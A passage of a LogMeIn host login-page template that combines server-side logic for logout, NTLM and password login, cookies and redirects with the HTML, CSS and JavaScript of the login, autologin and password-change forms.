set REQ.GO = LOGIN.DIRECTLY.TO
else
set REQ.GO = "m" // main menu
endif

// allow only certain logout reasons (for security)
switch REQ.REASON
case "shutdown" "restart" "reboot"
// logmein sessions cannot wait for restart
if IsViaWebSvc
if REQ.REASON = "restart"
if HTTP.REFERRER and HTTP.REFERRER hasnt "logout="
redirect HTTP.REFERRER "&errorcode=16"
else
redirect RA.COM "/r.asp?r=mycomputers&errorcode=16&hostid=" WEBSVC.HOSTID
endif
else
if HTTP.REFERRER and HTTP.REFERRER hasnt "logout="
redirect HTTP.REFERRER "&errorcode=15"
else
redirect RA.COM "/r.asp?r=mycomputers&errorcode=15&hostid=" WEBSVC.HOSTID
endif
endif
endif
set STOPPING = "yes"
case "timedout" "ntlmerr" "" 
set STOPPING = ""
if REQ.REASON = "timedout" and IsViaWebSvc
if HTTP.REFERRER and HTTP.REFERRER hasnt "logout="
redirect HTTP.REFERRER "&errorcode=4"
else
redirect RA.COM "/r.asp?r=mycomputers&errorcode=4&hostid=" WEBSVC.HOSTID
endif
endif
case default
set REQ.REASON = "0" // cannot be an empty string
endswitch

// ntlm login?
if REQ.NTLM
if COOKIE.RASID
redirect "ntlm/main.html"
else
set WINERRMSG = MSG.LOGIN.NOCOOKIE
endif
// usr/pwd login?
elseif REQ.LOGIN
if COOKIE.RASID
action "login"
else
set WINERRMSG = MSG.LOGIN.NOCOOKIE
endif
// server generated new PIN (RSA auth)
elseif REQ.GENPIN
action "login"
// logout?
elseif REQ.LOGOUT
// log out the user
//action "logout" // ...later.
// reflect the logout reason to the user
if REQ.REASON and not REQ.REASON = "0"
set WINERRMSG = MSG.LOGOUT.REASON:REQ.REASON
// go back to the page where we came from (ignore self references, like previous logouts)
elseif HTTP.REFERRER and HTTP.REFERRER hasnt "logout="
action "logout"
redirect HTTP.REFERRER
endif
// Personal password authentication?
elseif PPWDSTATE = "1"
action "ppwd"
endif

// update CREDENTIALSAVED cookie
if CFG.Auth.AllowCookie != "0"
if LOGINMETHOD = "AUTOLOGIN"
set cookie CREDENTIALSAVED = "1"
elseif ISFAILEDLOGIN = "1" // any failed login attempt means that we do not have correct credentials saved
set cookie CREDENTIALSAVED = "0"
endif
endif

// successful windows login?
if USERNAME and not REQ.LOGOUT

if LASTLOGINUSERNAME = SingleUser
set session LOGINTRACKING = "CAC"
elseif not ISDOMAINMEMBER or LASTLOGINDOMAIN = HOSTNAME
set session LOGINTRACKING = "UP"
else
set session LOGINTRACKING = "UPD"
endif

// set cookie
if CFG.Auth.AllowCookie != "0" and not SingleUser
if REQ.USERNAME
set cookie LASTUSERNAME = REQ.USERNAME
set cookie LASTDOMAIN = REQ.DOMAIN
endif
else
set cookie LASTUSERNAME = ""
set cookie LASTDOMAIN = ""
endif

// succesfull authentication
if not PWDCHANGED and RSASTATE = "0" and PPWDSTATE != "1"
if LICENSE.VALID
if REQ.DESTPAGE
redirect REQ.DESTPAGE
elseif LORES
redirect "menuPDA.html"
else
redirect "main.html"
endif
else
redirect "cfglicense.html"
endif
endif
endif

// take default parameters from cookies if not specified
set default REQ.USERNAME = COOKIE.LASTUSERNAME
set default REQ.DOMAIN = COOKIE.LASTDOMAIN

// options switch?
if REQ.OPTIONS.ON
set cookie LOGINOPTIONS = "visible"
set REQ.OPTIONS = "on"
elseif REQ.OPTIONS.OFF
set cookie LOGINOPTIONS = "hidden"
set REQ.OPTIONS = ""
elseif COOKIE.LOGINOPTIONS = "visible"
set REQ.OPTIONS = "on"
endif
if LORES
set REQ.OPTIONS = "on"
endif

// if there is a login error stored in the session, show it
if not WINERRMSG
set WINERRMSG = LASTLOGINERROR
set session LASTLOGINERROR = ""
endif

// web service connections are always secure
if BRAND.LOGMEIN
set SSL = "1"
endif
?>
<html>

<head>
<meta http-equiv="X-UA-Compatible" content="IE=11" />
<meta name="robots" content="noindex, nofollow" />
<meta name="googlebot" content="noindex, nofollow" />
<meta name="googlebot-news" content="noindex, nofollow" />
<meta name="googlebot-news" content="nosnippet" />
<?include "setupdomain.html"?>
<title><?&PRODUCTNAME?></title>
<?if HTTP.USERAGENT not has "OPERA"?>
<link rel="icon" href="favicon.ico" type="image/x-icon">
<link rel="shortcut icon" href="favicon.ico">
<?endif?>

<script language="JavaScript">
function setwindowdisplay(windowname, displaymode)
{
var element = document.getElementById(windowname);
if ( element )
element.style.display = displaymode;
}
//in case of autologin we start to show the loading panel 

function HideAutoLoginLoading()
{
setwindowdisplay("chatstuff","");
setwindowdisplay("loginstuff","");
setwindowdisplay("autologinframe","none");
} 
function ShowAutoLoginLoading()
{
setwindowdisplay("chatstuff","none");
setwindowdisplay("loginstuff","none");
setwindowdisplay("autologinframe","");
}
</script> 
<script language="JavaScript">
<!--
var ntlm_clicked = false;

if (window != top) 
top.location.href = location.href; 


var isAutologinInterrupted = false; 
function InterruptAutoLogin() 
{
if (typeof (LogMessage) == "function")
{
LogMessage("AutoLogin is interrupted");
}   


isAutologinInterrupted = true; 
if (typeof (HideAutoLoginLoading) == "function")
{
HideAutoLoginLoading();
} 
}

function OnLoadingStopped()
{
var chkRemPassContainer = document.getElementById("chkRemPassContainer");
if (chkRemPassContainer)
{
if (window.LogMessage) 
LogMessage("Set remember password checkbox to visible");
chkRemPassContainer.style.visibility = "visible";
}

if (typeof (HideAutoLoginLoading) == "function")
{
HideAutoLoginLoading();
} 
}


//when user starts to type into input fields interrupt autologin process
function OnInputFiledkeyPress() 
{
InterruptAutoLogin();

} 


var pageLoaded = false;

function pageLoad()
{
<?if BRAND.LOGMEIN?>    
pageLoaded = true;
if (typeof (LogMessage) == "function")
{
LogMessage("Page is loaded");
}

<?if BGCACHED != "1"?>
var elem = document.createElement("img");
elem.setAttribute("src", "/lock_background.png");
elem.onload = function() {
document.body.style.backgroundImage = "url(/lock_background.png)";
}
<?endif?>

if (typeof (InitAutoLogin) == "function")
{
InitAutoLogin();
}  

var swf = document.getElementById("swfHolder");
if (swf && swf.style)
swf.style.width = "12px"; // Weird or not this seems to solve FF 3.6 issue (LMIS-4919)
<?endif?>

if (document.loginform.domain) {
if (document.loginform.domain.clientWidth) {
var w = document.loginform.domain.clientWidth;
if (w > 150) {
document.loginform.domain.style.width = w;
if (document.loginform.username) {
document.loginform.username.style.width = w;
}
if (document.loginform.password) {
document.loginform.password.style.width = w;
}
}
}
}
formFocus();
}

function OnSubmit(final)
{
if ( ! final) 
{
savePasswordFields();
}
else
{
restorePasswordFields();
}
return true;
}

<?if BRAND.LOGMEIN?> 
function OnLoginOkClick(final)
{
//I. Validate input
var isValid = (typeof chk=='undefined'
|| (typeof chk=='function' && chk(document.forms.loginform)));
if (typeof (LogMessage) == "function") 
{
LogMessage("OnLoginOkClick is called. Form valid: " + isValid);
}  
if (!isValid) 
{
return false;
} 

//II. if input valid + user check "remember password" then save it
var chkBoxRemPass = document.getElementById("chkRemPass");
if (chkBoxRemPass && chkBoxRemPass.checked && "function" == typeof (SaveCredentials))
{
OnSubmit(final);    // SaveCredentials is async and will processed the credential info right now, should restore it if present.
SaveCredentials();
if (typeof document.forms.loginform.setcredcookie != 'undefined')
{
document.forms.loginform.setcredcookie.value = "1";
}
return false; //we must return false here because SaveCredentials use asnychron calls and we want to let finish that 
//and the end of the asynchron calls we will submit the form from code
}

return OnSubmit(final);
}
<?endif?>

function onPPEnter(event, form)
{
flipDivs();
document.forms.loginform.do_pp_logon.value = 1;
document.forms.loginform.submit();
}

//-->
</script>

<?include "style.inc"?>
<?include "passsave.inc"?>
<script type="text/javascript" src="js/window.js"></script>

<style type="text/css">
table {
color: black;
}
td {
font: normal 13px arial;
text-align: left;
}
legend { 
text-align: center;
}
.txt {
background-color: white;
color: black;
border: 1px solid #99ccff;
width: <?if LORES?>160px<?else?>200px<?endif?>;
}
.errortxt {
<?if BRAND.LOGMEIN?>
color: red;
<?endif?>
}
.button
{
<?if BRAND.LOGMEIN and not LORES?>
width: 90px;
/*display: inline;*/
<?endif?>
}
.buttonOkCancel
{
<?if BRAND.LOGMEIN and not LORES?>
vertical-align: top;
<?endif?>
}
.buttonleft
{
<?if BRAND.LOGMEIN and not LORES?>
width: 4px;
height: 26px;
padding: 0;
margin: 0;
border: 0;
background: #ebf5fe url('/img/login_corners.gif') no-repeat scroll -30px 0px;
display:inline;
float: left;
<?else?>
display: none;
<?endif?>
}
.buttonleftOkCancel
{
<?if BRAND.LOGMEIN and not LORES?>
width: 4px;
height: 26px;
padding: 0;
margin: 0;
border: 0;
background: #ebf5fe url('/img/login_corners.gif') no-repeat scroll -30px 0px;
vertical-align: top;
<?else?>
width: 0px;
<?endif?>
}
.buttonright
{
<?if BRAND.LOGMEIN and not LORES?>
width: 14px;
height: 26px;
padding: 0;
margin: 0;
border: 0;
background: #ebf5fe url('/img/login_corners.gif') no-repeat scroll -30px -26px;
display:inline;
float: left;
<?else?>
display: none;
<?endif?>
}
.buttonrightOkCancel
{
<?if BRAND.LOGMEIN and not LORES?>
width: 8px;
height: 26px;
padding: 0;
margin: 0;
border: 0;
background: #ebf5fe url('/img/login_corners.gif') no-repeat scroll -30px -26px;
vertical-align: top;
<?else?>
width: 10px;
<?endif?>
}
.buttonrightMoreLess
{
<?if BRAND.LOGMEIN and not LORES?>
width: 4px;
height: 26px;
padding: 0;
margin: 0;
border: 0;
background: #ebf5fe url('/img/login_corners.gif') no-repeat scroll -30px -26px;
vertical-align: top;
<?else?>
width: 10px;
<?endif?>
}
input.buttonmid
{
<?if BRAND.LOGMEIN and not LORES?>
width: 72px;
height: 26px;
padding: 0;
margin: 0;
border: 0;
display:inline;
float: left;
background: #ebf5fe url('/img/login_mid.gif') repeat-x scroll 0px -35px;
color: white;
font: bold 12px Arial;
cursor: pointer;
<?endif?>
}
.ibl
{
display: -moz-inline-stack;
display: inline-block;
*zoom: 1; *display: inline;
}
.helpicon
{
position: relative; top: 3px;
*margin-bottom: -3px;
*position: static;
cursor: pointer;
}
input.buttonmidOkCancel
{
<?if BRAND.LOGMEIN and not LORES?>
width: 72px;
height: 26px;
padding: 0;
margin: 0;
border: 0;
background: #ebf5fe url('/img/login_mid.gif') repeat-x scroll 0px -35px;
vertical-align: top;
color: white;
font: bold 12px Arial;
cursor: pointer;
<?else?>
width: 80px;
<?endif?>
}
.login_box_left {
width: 15px;
background: url('/img/login_leftright.gif') repeat-y scroll 0 0;
}
.login_box_right {
width: 15px;
background: url('/img/login_leftright.gif') repeat-y scroll -15px 0;
}
#flashContainer, #Credentials { outline: none; }
.subwindow { display: block; }
</style>
</head>

<?if BGCACHED = 1 
set BGIMAGE = "url(/lock_background.png)"
elseif ISMAC
set BGIMAGE = "url(img/lock_background_mac_min.jpg)"
else
set BGIMAGE = "url(img/lock_background_win_min.jpg)"
endif?>
<body class="title"<?if BRAND.LOGMEIN and not LORES?>
style="background-image: &BGIMAGE&; background-color: black; 
background-repeat: no-repeat; background-position: center 40%; background-size: 100% auto; color: #000000;" <?endif?> onload="pageLoad();"> 
<?if BRAND.LOGMEIN?>
<!--This is needed for autoLogin--> 
<div id="swfHolder" style="position: absolute; top: -1000px; width: 5px; height: 5px;">
<div id="flashContainer"><!-- credentials.swf flash component comes here --></div> 
</div><!-- /swfHolder -->
<?if WINERRMSG?>
<!-- err$WINERRNUM$() : $WINERRMSG$ --- we need this, because desktop client search for this function name or error message -->
<script language="JavaScript">
if (typeof (HideAutoLoginLoading) == "function")
{
HideAutoLoginLoading();
}
</script>
<? endif ?>
<!-- host and autologin related js functions communicate over these variables -->
<form name="autoLogin" style="display: none;">
<input type="hidden" name="profileHash" value="&PROFILEHASH&"/>
<input type="hidden" name="hostKey" value="&HOSTKEY&"/>
<input type="hidden" name="hostKeyFallback" value="&HOSTKEYFALLBACK&" />
<input type="hidden" id="hostUrl" name="hostUrl" value="&HTTP.HOST&"/>
<input type="hidden" name="hostNonce" value="&HOSTNONCE&"/>
<input type="hidden" name="hostId" id="hostId" value="&HOSTID&"/> 
<input type="hidden" name="isFailedLogin" value="&ISFAILEDLOGIN&"/> 
<input type="hidden" id="isDebug" name="isDebug" value="&cfg.Log.Debug&"/> 
<input type="hidden" name="isLoginPage" value="1"/>
</form> 

<!--End of autoLogin related code-->
<?endif // BRAND.LOGMEIN?>

<form name="loginform" action="&TEMPLATE&?%RND%" method="post" id="loginform"<?if BRAND.LOGMEIN?> onsubmit="return OnLoginOkClick(true);"<?endif?>> 
<input type="hidden" name="setcredcookie" value="0" />
<center>
<?if not LORES?>
<?if BRAND.LOGMEIN?>
<table width="100%" height="80%"<?if HTTP.USERAGENT has "OPERA"?> style="margin-top: 10%;"<?endif?>><tr><td><?// table/cell used to center the login box vertically?>
<table cellspacing="0" cellpadding="0" align="center" style="width: 450px;">
<tr>
<td style="background: url('/img/login_corners.gif') no-repeat scroll left top; height: 37px; width: 15px; padding: 0px; color: rgb(255, 255, 255);"></td>
<td style="background: url('/img/login_mid.gif') repeat-x scroll 0px -61px; padding-top: 4px;" rowspan=2>
<div style="vertical-align: bottom; color: rgb(255, 255, 255); font: bold 14px arial; padding: 0px; margin: 0px; height: 29px; line-height: 29px"><?if REACTIVESUPPORT?>&MSG.LOGIN.RSLOGIN.TITLE&<?else?>&PRODUCTNAME&<?endif?></div>
<div style="background: url('/img/login_mid.gif') repeat-x scroll 0px -94px rgb(234, 245, 254); height: 46px; padding: 0px; margin: 0px; color: rgb(0, 0, 0); text-align: center;"><div style="padding-top: 3px">
<span style="font: normal 13px arial;">&MSG.LOGIN.WEBSVC.CONNECTEDTO&</span>
<br>
<span style="font: bold 14px arial;">&SRVNAME&</span>
</div></div> 
</td>
<td style="background: url('/img/login_corners.gif') no-repeat scroll -15px top; height: 37px; width: 15px; padding: 0px; color: rgb(255, 255, 255);"></td>
</tr>
<tr>
<td class="login_box_left" style="height: 42px" align="left"></td>
<td class="login_box_right" style="height: 42px"></td>
</tr>
<tr>
<td class="login_box_left"></td>
<td style="background-color: rgb(235,245,254);">
<div style="width: 100%; border-top: 1px solid #cfdae7; border-bottom: 1px solid #f0f8fe; margin:0px; padding: 0px"></div>
<?else?>
<br><br><br>
<?endif?>
<div id="logindiv" <?if not BRAND.LOGMEIN?>class="subwindow" <?endif?>style="<?if not BRAND.LOGMEIN?>position:relative; width: 500px;<?endif?> height:auto; visibility:visible;<?if BRAND.LOGMEIN?> border: 0px;<?endif?>">
<div class="clientAreaLogin">
<?endif?>
<?defmacro FLDSET(FLDNAME)?><?if not LORES and not BRAND.LOGMEIN?><fieldset><legend>&FLDNAME&</legend><?endif?><?endmacro?>
<?defmacro FLDEND()?><?if not LORES and not BRAND.LOGMEIN?></fieldset><?endif?><br><?endmacro?>
<?if BRAND.LOGMEIN?>
<?defmacro LMIAUTOLOGINREMEMBERPASSWORD()?>
<!--This is needed for autoLogin--> 
<input type="hidden" name="savedCred" id="savedCred" value=""/>
<tr><td></td>
<td> 
<div id="chkRemPassContainer" style="display:none;margin-left:-4px">
<input  id="chkRemPass" type="checkbox"  value="remPass" name="chkRemPass" style="vertical-align:middle;"/>
<label for="chkRemPass"><?if REACTIVESUPPORT?>&MSG.LOGIN.RSLOGIN.REMEMBERME&<?elseif SingleUser and not SHOWSUADV="1"?>&MSG.LOGIN.WEBSVC.REMEMBERCODE&<?else?>&MSG.LOGIN.SAVELOGIN&<?endif?></label>
<?if NOT LORES?>
<span class="ibl helpicon" onclick="window.open('/credentialshelp.html', '_blank', 'width=350, height=300, location=no, menubar=no, status=no, toolbar=no, directories=no, scrollbars=yes, resizable=yes');"><img src="img/login_helpicon.png" width="14" height="14" border="0" /></span>
<?endif?>
</div>
</td></tr>
<!--End of autoLogin related code-->
<?endmacro?>
<?endif // BRAND.LOGMEIN?>
<?defmacro LMILOGINBUTTONS()?>
<tr>
<td>
</td>
<td> 
<input type="hidden" name="login" id="login" value="&MSG.LOGIN.SUBMIT&"/>
<div class="buttonOkCancel ibl"><span class="buttonleftOkCancel ibl">&nbsp;</span><input type="submit" class="buttonmidOkCancel ibl" name="loginButton" id="loginButton" onclick="OnLoginOkClick(false);" value="&MSG.LOGIN.SUBMIT&"/><span class="buttonrightOkCancel ibl">&nbsp;</span></div>
<div class="buttonOkCancel ibl"><span class="buttonleftOkCancel ibl">&nbsp;</span><input type="button" class="buttonmidOkCancel ibl" name="login_cancel" id="cancalid" value="&MSG.DIALOG.CANCEL&" onclick="flipDivs(); location.replace('$TEMPLATE$?logout=yes')"><span class="buttonrightOkCancel ibl">&nbsp;</span></div>
<?if SingleUser and not REACTIVESUPPORT?>
<div class="buttonOkCancel ibl"><span class="buttonleftOkCancel ibl">&nbsp;</span><?if SHOWSUADV="1"?><input type="button" class="buttonmidOkCancel ibl" name="login_less" id="lessid" value="&MSG.LOGIN.LESS&" onclick="flipDivs(); location.replace('$TEMPLATE$?showsuadv=0')"><?else?><input type="button" class="buttonmidOkCancel ibl" name="login_more" id="moreid" value="&MSG.LOGIN.MORE&" onclick="flipDivs(); location.replace('$TEMPLATE$?showsuadv=1')"><?endif?><span class="buttonrightMoreLess ibl">&nbsp;</span></div>
<?endif?>
</td>
</tr>
<?endmacro?>
<?defmacro LMILOGINHELP()?>
<?if NOT LORES and BRAND.LOGMEIN?>   
<span class="ibl helpicon" onclick="window.open('https://&WEBSVC.SITE&/r.asp?r=lmiloginhelp&lang=<?if LANG="pt-br"?>pt<?else?>&LANG&<?endif?>&prod=<?if not BRAND.LOGMEIN.FREE?>pro<?else?>free<?endif?>&type=aboutauth', '_blank', 'width=1280, height=960, location=no, menubar=no, status=no, toolbar=no, directories=no, scrollbars=yes, resizable=yes');"><img src="img/login_helpicon.png" width="14" height="14" border="0" /></span>
<?endif?>
<?endmacro?>
<?defmacro LMILOGINHELPLINK()?>
<?if NOT LORES and BRAND.LOGMEIN?>   
<span class="ibl helpicon" onclick="window.open('https://&WEBSVC.SITE&/welcome/webhelp/<?if LANG="pt-br"?>br<?else?>&LANG&<?endif?>/CentralUserGuide/LogMeIn/t_common_Troubleshooting_login.html', '_blank', 'width=1280, height=960, location=no, menubar=no, status=no, toolbar=no, directories=no, scrollbars=yes, resizable=yes');"><a><u>&MSG.LOGIN.HELPLINK&</u></a></span>
<?endif?>
<?endmacro?>
<?defmacro LMILOGINHELPPWDONLYHINTLINK()?>
<?if NOT LORES and BRAND.LOGMEIN?>   
<span class="ibl" onclick="window.open('https://&WEBSVC.SITE&/welcome/webhelp/<?if LANG="pt-br"?>br<?else?>&LANG&<?endif?>/CentralUserGuide/LogMeIn/c_common_ChangeComputerAccessCode.html', '_blank', 'width=1280, height=960, location=no, menubar=no, status=no, toolbar=no, directories=no, scrollbars=yes, resizable=yes');"><a><u>&MSG.LOGIN.PWDONLYHINTLINK&</u></a></span>
<?endif?>
<?endmacro?>
<?defmacro LMILOGINHELPPWDONLYLINK()?>
<?if NOT LORES and BRAND.LOGMEIN?>   
<span class="ibl helpicon" onclick="window.open('https://&WEBSVC.SITE&/welcome/webhelp/<?if LANG="pt-br"?>br<?else?>&LANG&<?endif?>/CentralUserGuide/LogMeIn/c_common_AboutAuthentication.html', '_blank', 'width=1280, height=960, location=no, menubar=no, status=no, toolbar=no, directories=no, scrollbars=yes, resizable=yes');"><a><u>&MSG.LOGIN.PWDONLYHELPLINK&</u></a></span>
<?endif?>
<?endmacro?>
<?defmacro LMILOGINHELPPPWDLINK()?>
<?if NOT LORES and BRAND.LOGMEIN?>
<span class="ibl helpicon" onclick="window.open('https://&WEBSVC.SITE&/welcome/Webhelp/<?if LANG="pt-br"?>br<?else?>&LANG&<?endif?>/Pro/LogMeIn/t_host_preferences_personalpw.html', '_blank', 'width=1280, height=960, location=no, menubar=no, status=no, toolbar=no, directories=no, scrollbars=yes, resizable=yes');"><a><u>&MSG.LOGIN.PPWDHELPLINK&</u></a></span>
<?endif?>
<?endmacro?>
<?defmacro LMILOGINHELP4320LINK()?>
<?if NOT LORES and BRAND.LOGMEIN?>
<span class="ibl helpicon" onclick="window.open('http://help.logmein.com/articles/en_US/Documentation/logmein-t-common-troubleshooting-4320/', '_blank', 'width=1280, height=960, location=no, menubar=no, status=no, toolbar=no, directories=no, scrollbars=yes, resizable=yes');"><a><u>&MSG.LOGIN.4320HELPLINK&</u></a></span>
<?endif?>
<?endmacro?>
<?defmacro LMILOGINHELPTROUBLE()?>
<?if NOT LORES and BRAND.LOGMEIN?>   
<span class="ibl helpicon" onclick="window.open('https://&WEBSVC.SITE&/r.asp?r=lmiloginhelp&lang=<?if LANG="pt-br"?>pt<?else?>&LANG&<?endif?>&prod=<?if not BRAND.LOGMEIN.FREE?>pro<?else?>free<?endif?>&type=troublelogin', '_blank', 'width=1280, height=960, location=no, menubar=no, status=no, toolbar=no, directories=no, scrollbars=yes, resizable=yes');"><img src="img/login_helpicon.png" width="14" height="14" border="0" /></span>
<?endif?>
<?endmacro?>
<?defmacro LMILOGINHELPIPTROUBLE()?>
<?if NOT LORES and BRAND.LOGMEIN?>   
<span class="ibl helpicon" onclick="window.open('https://&WEBSVC.SITE&/r.asp?r=lmiloginhelp&lang=<?if LANG="pt-br"?>pt<?else?>&LANG&<?endif?>&prod=<?if not BRAND.LOGMEIN.FREE?>pro<?else?>free<?endif?>&type=troubleip', '_blank', 'width=1280, height=960, location=no, menubar=no, status=no, toolbar=no, directories=no, scrollbars=yes, resizable=yes');"><img src="img/login_helpicon.png" width="14" height="14" border="0" /></span>
<?endif?>
<?endmacro?>
<?defmacro LMILOGINHELP4320TROUBLE()?>
<?if NOT LORES and BRAND.LOGMEIN?>   
<span class="ibl helpicon" onclick="window.open('https://&WEBSVC.SITE&/r.asp?r=lmiloginhelp&lang=<?if LANG="pt-br"?>pt<?else?>&LANG&<?endif?>&prod=<?if not BRAND.LOGMEIN.FREE?>pro<?else?>free<?endif?>&type=trouble4320', '_blank', 'width=1280, height=960, location=no, menubar=no, status=no, toolbar=no, directories=no, scrollbars=yes, resizable=yes');"><img src="img/login_helpicon.png" width="14" height="14" border="0" /></span>
<?endif?>
<?endmacro?>
<?defmacro LANGSELECT()?>
<?if not BRAND.LOGMEIN?>
<tr>
<td align="right"><label for="lang">&MSG.LOGIN.LANG&</label>&nbsp;</td>
<td><select id="lang" name="lang" onchange="form.submit()">
<option value="en" <?selected LANG="en"?>>English</option>
<option value="en-gb" <?selected LANG="en-gb"?>>UK English</option><!-- british english -->
<option value="de" <?selected LANG="de"?>>Deutsch</option><!-- german -->
<option value="fr" <?selected LANG="fr"?>>Français</option><!-- french -->
<option value="es" <?selected LANG="es"?>>Español</option><!-- spanish -->
<option value="it" <?selected LANG="it"?>>Italiano</option><!-- italian -->
<option value="zh" <?selected LANG="zh"?>>中文(简体)</option><!-- simplified chinese -->
<option value="ja" <?selected LANG="ja"?>>日本語</option><!-- japanese -->
<option value="ko" <?selected LANG="ko"?>>한국어</option><!-- korean -->
<option value="ru" <?selected LANG="ru"?>>Русский</option><!-- russian -->
<option value="hu" <?selected LANG="hu"?>>Magyar</option><!-- hungarian -->
<option value="nl" <?selected LANG="nl"?>>Nederlands</option><!-- dutch -->
</select></td>
</tr>
<?endif?>
<?endmacro?>

<center><br>
<?if RSAERRMSG?>
<br><b>&MSG.LOGIN.RSA.ERROR:RSAERRMSG&</b><br><br>
<?if IsViaConsole
set resphdr XRAAuthChallengeErr = MSG.LOGIN.RSA.ERROR:RSAERRMSG
endif?>
<?endif?>

<?if not BRAND.LOGMEIN?>
<?set LOGOBG=COLOR.DlgBack?><?include "logo.html"?><br clear="all"><?if not LORES?><br><?endif?>
<?endif?>
<?if not ISHOSTALLOWED?>

<!-- no direct access -->
<?usemacro FLDSET(MSG.LOGIN.NODIRECT.TITLE)?>
<table width="80%">
<tr><td>&nbsp;</td></tr>
<tr><td><?&MSG.LOGIN.NODIRECT?></td></tr>
<tr><td>&nbsp;</td></tr>
<tr><td align="center"><a href="&RA.COM&">&WEBSVC.NAME&</a></td></tr>
<tr><td>&nbsp;</td></tr>
</table><br>
<?usemacro FLDEND()?>
<br>

<?elseif IPLOCKEDOUT?>
<!-- IP address lockout message -->
<?usemacro FLDSET(MSG.LOGIN.IPLOCK.TITLE)?>
<table width="80%">
<tr><td>&nbsp;</td></tr>
<tr><td>
<?&MSG.LOGIN.IPLOCK?>
<?usemacro LMILOGINHELPIPTROUBLE()?>
</td></tr>
<tr><td>&nbsp;</td></tr>
</table><br>
<?usemacro FLDEND()?>
<br>

<?elseif PWDCHANGED // display password changed notification?>

<div id="loginstuff">

<?if not LORES and not BRAND.LOGMEIN?><fieldset><?endif?>
&MSG.CHGPWD.DONE&
<?usemacro LMILOGINHELP()?>
<?if not LORES and not BRAND.LOGMEIN?></fieldset><?endif?>
<?if BRAND.LOGMEIN?><br><?endif?>
<br>
<div class="button"><span class="buttonleft">&nbsp;</span><input type="button" class="buttonmid" value="&MSG.DIALOG.OK&" onclick="flipDivs(); window.location.replace('$TEMPLATE$');"><span class="buttonright">&nbsp;</span></div>
<br><br>

</div>

<?elseif PWDCHANGE // change Windows password?>

<?if IsViaConsole
// must delete the PWDCHANGE session variable
set session PWDCHANGE = ""
set resphdr XRAAuthChallengeType = "CHGPWD"
endif?>

<input type="hidden" name="username" value="&LASTLOGINUSERNAME&">
<input type="hidden" name="domain" value="&LASTLOGINDOMAIN&">

<?if WINERRMSG?>
<?if IsViaConsole
set resphdr XRAAuthChallengeErr = WINERRMSG
endif?>
<?if not LORES and not BRAND.LOGMEIN?>
<fieldset>
<?if WINERRNUM?>
<legend>&MSG.DIALOG.ERROR&</legend>
<?endif?>
<table width="80%"><tr><td align="center">
<b><?&WINERRMSG?></b>
</td></tr></table>
</fieldset>
<?else?>
<b><?&MSG.DIALOG.ERROR?>:&nbsp;<?&WINERRMSG?></b>
<?endif?>
<?if BRAND.LOGMEIN?><br><?endif?>
<br>
<?endif?>

<?if not LORES and not BRAND.LOGMEIN?>
<fieldset>
<table width="80%"><tr><td align="center">
<?endif?>
<b>&MSG.CHGPWD.EXPIRED&</b><br>
&MSG.CHGPWD.DESC&
<?usemacro LMILOGINHELP()?>
<?if not LORES and not BRAND.LOGMEIN?>
</td></tr></table>
</fieldset>
<?endif?>
<?if BRAND.LOGMEIN?><br><?endif?>
<br>

<script language="JavaScript">
<!--
function chk(f) {
var pw = f['newpassword'].value;
var pwc = f['newpasswordconfirm'].value;
if (shouldUseDisabler() && sBrowserName != "MSIE") {
pw = f['newpassword'+passSaveHiderSuffix].value;
pwc = f['newpasswordconfirm'+passSaveHiderSuffix].value;
}
if (pw.length == 0 || pw != pwc) {
alert('$MSG.DIALOG.PWDMISMATCH$');
f['password'].focus();
return false;
}
flipDivs();
return true;
}
//-->
</script>

<div id="loginstuff">

<?usemacro FLDSET(MSG.CHGPWD.TITLE)?>
<table width="80%">
<tr>
<td align="right" nowrap><label for="pwd"><?&MSG.CHGPWD.OLDPWD?>:</label>&nbsp;</td>
<td><input id="oldpwd" type="password" autocomplete="off" class="txt" name="password" value="" <?if not BRAND.LOGMEIN?>size="<?if LORES?>15<?else?>25<?endif?>"<?endif?>></td>
</tr>
<tr>
<td align="right" nowrap><label for="pwd"><?&MSG.CHGPWD.NEWPWD?>:</label>&nbsp;</td>
<td><input id="newpwd" type="password" autocomplete="off" class="txt" name="newpassword" value="" <?if not BRAND.LOGMEIN?>size="<?if LORES?>15<?else?>25<?endif?>"<?endif?>></td>
</tr>
<tr>
<td align="right" nowrap><label for="pwd"><?&MSG.DIALOG.PWDCONFIRM?>:</label>&nbsp;</td>
<td><input id="confirmpwd" type="password" autocomplete="off" class="txt" name="newpasswordconfirm" value="" <?if not BRAND.LOGMEIN?>size="<?if LORES?>15<?else?>25<?endif?>"<?endif?>></td>
</tr>
<tr>
<td></td>
<td>
<div class="button" style="display: inline;"><span class="buttonleft">&nbsp;</span><input type="submit" class="buttonmid" name="login" value="&MSG.DIALOG.APPLY&" onclick="OnSubmit(false); return chk(this.form)"><span class="buttonright">&nbsp;</span></div>
<div class="button" style="display: inline;"><span class="buttonleft">&nbsp;</span><input type="button" class="buttonmid" value="&MSG.DIALOG.CANCEL&" onclick="flipDivs(); window.location.replace('$TEMPLATE$');"><span class="buttonright">&nbsp;</span></div>
</td>
</tr>
</table>
<?usemacro FLDEND()?>

</div>

<?elseif not USERNAME or REQ.LOGOUT // need to do windows authentication?>				 
<?if PROFILEHASH and CFG.Auth.AllowAutoLogin != "0" and POLICY.ALLOWAUTOLOGIN != "0" and BRAND.LOGMEIN?>
<?set HASIFRAME=1 ?> 
<!--Start of component needed for autologin-->
<iframe id="ifr" name="ifr" style="display:none"></iframe> 
<!--End of code needed for autologin-->
<?if PROFILEHASH and COOKIE.CREDENTIALSAVED = "1" and CFG.Auth.AllowAutoLogin != "0" and not WINERRMSG and not REQ.LOGOUT ?>
<?set TRYAUTOLOGIN=1?>
<script language="JavaScript">
var autologinStyle = document.createElement("style");
document.getElementsByTagName("head")[0].appendChild(autologinStyle);
var als = undefined;
if (document.styleSheets && document.styleSheets.length )
{
als = document.styleSheets[ document.styleSheets.length-1];
if (als && als.addRule) { // IE throws exception for createTextNode)
als.addRule("#loginstuff","display: none;");
als.addRule("#chatstuff","display: none;");
als.addRule("#autologinframe","display: block !important;");
} else {
als = undefined;
}
}
if (!als) {
autologinStyle.appendChild(document.createTextNode(
'#loginstuff, #chatstuff {display: none;} #autologinframe { display: block !important; }'));
}
</script>
<?endif?>
<?endif?>

<?if WINERRMSG?>
<?if not LORES and not BRAND.LOGMEIN?>
<fieldset>
<?if WINERRNUM?><legend>&MSG.DIALOG.ERROR&</legend><?endif?>
<table width="80%"><tr><td align="center">
<?endif?>
<?if not BRAND.LOGMEIN?>
<?if WINERRNUM has "1326"?>
<?if NOLOGONLOCK?>
